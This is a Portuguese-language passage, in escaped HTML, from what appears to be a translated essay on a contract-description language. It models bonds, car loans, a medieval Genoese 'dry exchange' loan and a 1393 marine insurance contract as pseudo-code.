&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> afterTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>terminate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Quando o código fica complicado, talvez não seja possível saber
facilmente se o then terminate implícito no final na última linha será
executado. Portanto, é uma boa ideia dar um terminate no contrato
explicitamente quando a opção expirar.&lt;/p>
&lt;p>Veremos exemplos em que mais de um tipo de evento e até sequências de
eventos (como uma agenda de calendário de datas de pagamento) acionam a
execução dos termos contratuais.&lt;/p>
&lt;p>Lembre-se de que a linguagem não procede passo a passo por padrão &amp;ndash; em
vez disso, o leitor (humano ou computador) deve seguir as definições de
contrato aninhadas à medida que se expandem e observar os eventos nas
instruções when para ver o que elas acionam. Planejamentos explícitos de
calendário passo a passo podem ser criados usando for, then, e eventos
do calendário.&lt;/p>
&lt;p>Aqui está um exemplo que usa essas etapas explícitas. Um bond faz uma
sequência de pagamentos fixos, chamados cupons, regularmente, e depois
efetua um pagamento final, o principal. Não mostramos aqui os detalhes
da programação em si, mas, em geral, uma programação pode ser definida
como qualquer tipo de sequência temporal &amp;ndash; poderíamos pagar cupons no
último dia de cada mês, em todos os feriados japoneses, de acordo com a
computação da Páscoa (não ria &amp;ndash; agendadores de feiras medievais tiveram
que enfrentar esse problema), ou como quisermos. Quando implementados,
os eventos de calendário e o iterador de agendamento contém uma
implementação muito completa que resolve muitos dos problemas
desagradáveis de calendário que geralmente aparecem nos sistemas de
processamento de transações.&lt;/p>
&lt;p>for itera pelos eventos no planejamento, um por um, com o when aninhado
ao manipulá-los. Quando aparece após uma cláusula for, um then avança o
iterador mais uma etapa.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>bond(coupon, principal, schedule) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> schedule
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(schedule&lt;span style="color:#f92672">.&lt;/span>next)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> coupon
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(schedule&lt;span style="color:#f92672">.&lt;/span>next)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> principal
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Em seguida, esboçamos um contrato para vender um carro a crédito. Sendo
um esboço e não um projeto completo, este é um exemplo simplificado ou
&amp;ldquo;brinquedo&amp;rdquo; &amp;ndash; deixamos de lado as taxas, quaisquer referências a um
contrato de seguro relacionado, garantias, renúncias, etc. Também por
simplicidade, temos o banco (aqui o Titular) é igual ao revendedor de
automóveis. Finalmente, não mostramos aqui nenhuma garantia sobre o
carro para garantir o empréstimo. Faremos uma facada em um mecanismo de
penhor no exemplo abaixo.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>loanPayments(payment, schedule) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> schedule
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(schedule&lt;span style="color:#f92672">.&lt;/span>next)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payment
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>carPurchase(car, downPayment, monthlyPayment, schedule) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Counterparty&lt;/span> getTitle(car) with to &lt;span style="color:#66d9ef">Holder&lt;/span> downPayment
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> to &lt;span style="color:#66d9ef">Holder&lt;/span> loanPayment(monthlyPayment, schedule)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Se quisermos permitir o pagamento antecipado, nossa programação conterá
horários únicos, em vez de períodos com um horário de início e um
término. E nossos pagamentos de empréstimos teriam a seguinte aparência:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>loanPayments(payment, schedule) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> schedule
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> beforeTime(schedule&lt;span style="color:#f92672">.&lt;/span>next)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payment
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Poderíamos calcular o pagamento acima com outras informações que
provavelmente veremos no contrato, mas isso envolve apenas uma
programação normal. Podemos usar uma função para executar o cálculo em
primeiro lugar:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>loanPayments(principal, interest, schedule) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>constant payment&lt;span style="color:#f92672">.&lt;/span>amount &lt;span style="color:#f92672">=&lt;/span> computeInterest(principal, schedule, interest)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># normal computational function goes here&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> &lt;span style="color:#66d9ef">for&lt;/span> schedule
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> beforeTime(schedule&lt;span style="color:#f92672">.&lt;/span>next)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payment
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&amp;ldquo;=&amp;rdquo; define, para todo time (portanto, constant [constante]), o número
payment.amount ao valor retornado pela função computeInterest. Também
poderíamos fazer coisas mais complicadas &amp;ndash; deduzir juros por
pré-pagamento ou, ao contrário, adicionar multas por pré-pagamento ou
uma grande variedade de outras condições.&lt;/p>
&lt;p>Também podemos estruturar o contrato de compra do carro para que o novo
proprietário não receba o título até depois que o downPayment
[pagamento inicial] for recebido:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>carPurchase(car, downPayment, monthlyPayment, schedule) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> downPayment
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> to &lt;span style="color:#66d9ef">Counterparty&lt;/span> getTitle(car)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> to &lt;span style="color:#66d9ef">Holder&lt;/span> loanPayments(monthlyPayment, schedule)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="cláusulas-de-dano">Cláusulas de Dano&lt;/h2>
&lt;p>Vamos usar nossa linguagem para analisar alguns avanços importantes na
história das instituições econômicas. Gênova era uma cidade independente
e bastante libertária (para a época) fortemente envolvida no comércio do
mar Mediterrâneo. Durante seu auge nos séculos XII a XV, ele desenvolveu
muitas inovações comerciais, incluindo duas que examinaremos aqui, o
empréstimo de &amp;ldquo;troca seca&amp;rdquo; e o seguro de risco conjunto.&lt;/p>
&lt;p>Aqui está uma cláusula de um contrato feito em Gênova em 23 de junho de
1271 d.C. Um homem está assinando uma obrigação feita por seu filho:&lt;/p>
&lt;p>Portanto e pelos quais prometemos, nós dois (responsáveis) pelo valor
total, dar e pagar a você ou a seu mensageiro credenciado 53 hyperpers
[moeda de ouro bizantina] de ouro, bons e de peso correto, na Romênia
(Bizâncio), pelas calendas de Setembro. Se, no entanto, não lhe dermos
esses (hyperpers) dentro do prazo, (prometemos) para cada um dos
hyperpers 11 xelins [uma unidade monetária] genoveses em Gênova,
sempre que desejar. Caso contrário, prometemos, nós dois (responsáveis)
pelo valor total, dar a você, fazendo a estipulação, a penalidade do
dobro do referido valor, as (condições) acima mencionadas permanecendo
como liquidadas. E prometemos a você como garantia pelas supracitadas
(promessas) todos os nossos bens, existentes e futuros &amp;hellip;&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Agora, este é um contrato muito inteligente, chamado pelos estudiosos de
&amp;ldquo;troca seca&amp;rdquo;. A Igreja Católica proibiu a cobrança de juros, de modo que
um contrato de empréstimo que saísse diretamente e cobrasse juros seria
inexequível e exporia os redatores a outras sanções da Igreja. Mas tanto
as trocas de longa distância (negociando em um mercado distante em uma
data posterior &amp;ndash; geralmente através de uma viagem marítima, portanto
uma troca &amp;ldquo;úmida&amp;rdquo;) quanto as de câmbio eram bastante legais, exequíveis
e comuns. O contrato acima combinou esses dois, juntamente com as
cláusulas de danos, de uma maneira inteligente. Nenhuma das partes acima
tinha intenção de viajar para Bizâncio, ou mesmo para fora de Gênova,
para cumprir este contrato. Sua lógica pode ser analisada da seguinte
forma (o titular é o credor). Adicionamos as declarações &amp;ldquo;in
(localização geográfica)&amp;rdquo;, security e foreclose para destacar aspectos
importantes deste contrato. O último vende bens suficientes em leilão
para satisfazer a penalidade (se não houvesse o suficiente para
satisfazer os credores, havia um procedimento de falência para alocar de
maneira justa a segurança restante entre os credores, mas isso não é
mostrado):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>counterpartySecurity &lt;span style="color:#f92672">=&lt;/span> pledge(allGoods(&lt;span style="color:#66d9ef">Counterparty&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>also cosignerSecurity &lt;span style="color:#f92672">=&lt;/span> pledge(allGoods(co&lt;span style="color:#f92672">-&lt;/span>signer))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payment1() &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> beforeTime(&lt;span style="color:#e6db74">&amp;#34;Kalends of September 1275&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> &lt;span style="color:#66d9ef">in&lt;/span> &lt;span style="color:#66d9ef">Byzantium&lt;/span> &lt;span style="color:#e6db74">&amp;#34;53 hyperpers&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>terminate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payment2() &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> breachedPerformance(payment1)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> &lt;span style="color:#66d9ef">in&lt;/span> &lt;span style="color:#66d9ef">Genoa&lt;/span> &lt;span style="color:#e6db74">&amp;#34;53*11 = 583 shillings&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>terminate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payment3() &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> breachedPerformance(payment2)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> &lt;span style="color:#66d9ef">in&lt;/span> &lt;span style="color:#66d9ef">Genoa&lt;/span> &lt;span style="color:#e6db74">&amp;#34;2*583 shillings&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>terminate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payment3() &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> breachedPerformance(payment3)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> &lt;span style="color:#66d9ef">in&lt;/span> &lt;span style="color:#66d9ef">Genoa&lt;/span> foreclose(counterpartySecurity, penalty)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>terminate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> &lt;span style="color:#66d9ef">in&lt;/span> &lt;span style="color:#66d9ef">Genoa&lt;/span> foreclose(cosignerSecurity, penalty)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>terminate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>continue
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Nenhuma das partes esperava que o pagamento1 fosse realizado. As
quantidades de hiperpers e xelins provavelmente refletiram com precisão
a taxa de câmbio entre as duas moedas na época &amp;ndash; não faz sentido ser
óbvio demais. Mas teria sido muito caro viajar para Bizâncio apenas para
fazer essa troca. Assim, de fato, ambas as partes esperavam que o
pagamento2, uma cláusula de dano falso, fosse normalmente executada.
Caso contrário, temos duas cláusulas de danos reais &amp;ndash; a &amp;ldquo;penalidade do
dobro&amp;rdquo; e o letal &amp;ldquo;todos os nossos bens, existentes e futuros&amp;rdquo;. Outra
interpretação desta última cláusula é que ela se referiria apenas a um
valor de mercadorias até o valor da multa dupla, mas as mercadorias
poderiam ser escolhidas dentre todas as mercadorias do devedor e do
co-signatário. Certamente, um tribunal moderno consideraria a
interpretação que eu coloquei em nossa linguagem como inescrutável e,
portanto, inexequível.&lt;/p>
&lt;p>Acima da parte que citamos, o contrato não especifica quanto era o
montante original do empréstimo &amp;ndash; os devedores simplesmente reconhecem
que receberam do credor &amp;ldquo;um número de denários genoveses&amp;rdquo; e depois
prometem outras moedas em troca, como citado acima. Portanto, um
investigador da Igreja não poderia provar, apenas lendo o contrato, que
qualquer juro foi cobrado. Quanto ao juiz genovês que arbitra uma
disputa, ele provavelmente seria a favor de empréstimos com juros e
ficaria feliz em piscar, acenar com a cabeça e interpretar o contrato
literalmente.&lt;/p>
&lt;p>Os traders modernos de derivativos fazem isso o tempo todo, criando
ativos sintéticos ou combinações que imitam a funcionalidade financeira
de algum outro contrato, evitando suas limitações legais. Nossa
linguagem é ideal para redigir e analisar esses contratos.&lt;/p>
&lt;h2 id="seguro">Seguro&lt;/h2>
&lt;p>Os primeiros contratos de seguro de agrupamento de riscos foram
estruturados de forma semelhante e executados sob os mesmos princípios
legais dos empréstimos. De fato, vamos começar com um empréstimo simples
para a compra de mercadorias sem juros, onde o Titular (o credor) pode
solicitar o empréstimo a qualquer momento entre os dias t1 e t2:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>loan(goods, principal, penalty, t1, t2) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>counterpartySecurity &lt;span style="color:#f92672">=&lt;/span> pledge(allGoods(&lt;span style="color:#66d9ef">Counterparty&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> getTitle(goods)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>loanPayment(principal, t1, t2)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with &lt;span style="color:#66d9ef">when&lt;/span> breachedPerformance(loanPayment)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> foreclose(counterpartySecurity, penalty)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>loanPayment(principal, t1, t2) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(t1,t2)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> principal
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Vamos adicionar à nossa linguagem um evento safeArrival(goods) &amp;ndash; o
evento em que um navio que transporta goods [mercadorias] chega com
segurança no porto e os goods [mercadorias] são descarregados e
contabilizados. Agora, adicionando a este contrato de empréstimo apenas
uma linha extra, colocando um when safeArrival() e modificando levemente
algumas outras, podemos transformá-lo em um contrato de seguro marítimo.
O segurado é o Titular, a seguradora é a Contraparte. Para esta versão
simples, os danos são pagos em um valor fixo (principal) se safeArrival
não ocorrer:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>insureGoods(goodsPremium, principal, penalty, t1, t2, goodsInsured) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>counterpartySecurity &lt;span style="color:#f92672">=&lt;/span> pledge(allGoods(&lt;span style="color:#66d9ef">Counterparty&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> getTitle(goodsPremium)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>insurancePayment(goodsInsured, principal, t1, t2)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with &lt;span style="color:#66d9ef">when&lt;/span> breachedPerformance(insurancePayment)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> foreclose(counterpartySecurity, penalty)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>insurancePayment(goodsInsured, principal, t1, t2) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> safeArrival(goodsInsured) terminate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(t1,t2)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> principal
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Aqui está um exemplo de um contrato de seguro antecipado desse tipo &amp;ndash;
novamente em Gênova, o berço das modernas instituições comerciais. Pela
primeira vez, vemos uma pool [grupo] de seguradoras &amp;ndash; não uma, mas
muitas contrapartes, cada uma comprometendo sua propriedade inteira como
garantia. Muitas vezes, eram senhores feudais com grandes propriedades,
então o valor que poderia ser usado para apoiar esses contratos de
seguro era vasto. É assim que a Lloyds Names ainda funciona hoje. Como
vários Nomes apoiam um único contrato (por exemplo, cobrindo uma única
remessa de mercadorias, como aqui), cada Nome coloca apenas uma pequena
fração de seus bens em risco nessa viagem. Uma bolsa de seguros como a
Lloyds permite que os agentes de proprietários de mercadorias,
remetentes e Nomes atendam e produzam em massa esses tipos de contratos.&lt;/p>
&lt;p>&amp;hellip; Geri, [filho] do falecido Sor Lapo de Florença, Simone Guascone,
[[mais 9 nomes listados]], cada um deles
[[responsável]] pelo montante escrito abaixo, reconheceu
e, na verdade, me declarou, notário abaixo assinado, como funcionário
público [ocupando] um cargo público, estipulando e recebendo em nome e
em lugar de Federico Vivaldi, cidadão de Gênova, que eles compraram,
tiveram e receberam dele uma certa quantidade de bens do dito Frederico
&amp;hellip; E por esses bens e considerando o preço que cada um deles prometeu
dar e pagar ao dito Frederico ou a seu mensageiro credenciado:
[[do]] dito Geri, 150 florins de ouro, do dito Simone, 50
florins, [[100 florins cada um dos outros Nomes]] nos
próximos cinco meses a partir de agora. Caso contrário, eles prometeram
dar e pagar ao referido Frederico a penalidade do dobro e de todo o
valor ao qual e na medida em que [[este acordo]] seja
violado ou não for observado como acima, juntamente com a restituição de
todas as perdas, lucros não realizados e despesas que possam ser
incorridas por causa dele em juízo ou fora dele &amp;ndash; o mencionado acima
permanecendo como liquidado e sob hipótese e penhor de seus bens e [[os
bens]] de qualquer um deles, existentes e futuros.&lt;/p>
&lt;p>[[O acima exposto é obrigatório]], com exceção e reserva
especial de que, se a quantidade de bens, propriedades, e mercadorias
que foi carregada ou for carregada por Frederico Imperiale ou por outro
em seu nome, por conta do referido Frederico Vivaldi em Aigues -Mortes
&amp;ndash; a ser transportado para Ayassoluk e Rhodes ou para uma dessas duas
localidades em um determinado navio &amp;hellip; e que partiu de Aigues-Mortes ou
está prestes a partir para navegar para as regiões acima mencionadas &amp;ndash;
é trazido e descarregado no localidades de Ayasoluk e Rhodes ou em
qualquer uma delas, em segurança, e nesse caso o presente instrumento é
cancelado, nulo e sem valor e proporcionalmente. E seja entendido que
esse risco começa quando o referido navio sai e zarpa de Aigues-Mortes,
e permanece e dura, enquanto o capitão vai, fica [[no
porto]], navega, carrega e descarrega, da referida
localidade de Aigues-Mortres até as localidades de Ayassoluk e Rhodes,
da maneira que desejar, até que a quantidade de bens, propriedades e
mercadorias seja trazida e descarregada em Ayassoluk e Rhodes ou em
qualquer uma dessas duas localidades em segurança, e proporcionalmente.
Que o presente instrumento também seja cancelado se o referido Frederico
se abster de solicitar pagamentos dos montantes mencionados em dinheiro
pelo espaço de um ano após o tempo ou o prazo decorrido para solicitar
ou obter seu pagamento &amp;hellip; Feito como acima, 15 de setembro, por volta
das nove [[horas]]. [[1393]
[d.C.]] &lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Ignorando a linguagem pro rata, a definição específica dos riscos que
impedem a geração ou não do evento safeArrival() e ignorando os vários
nomes (ou seja, tratando-os como uma Contraparte), o contrato pode ser
modelado pelo contrato de seguro que elaboramos acima com seus
parâmetros preenchidos da seguinte forma, e com Frederico Vivaldi como
segurado (o Titular):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>insureGoods(goodsPremium&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;a certain amount of goods&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
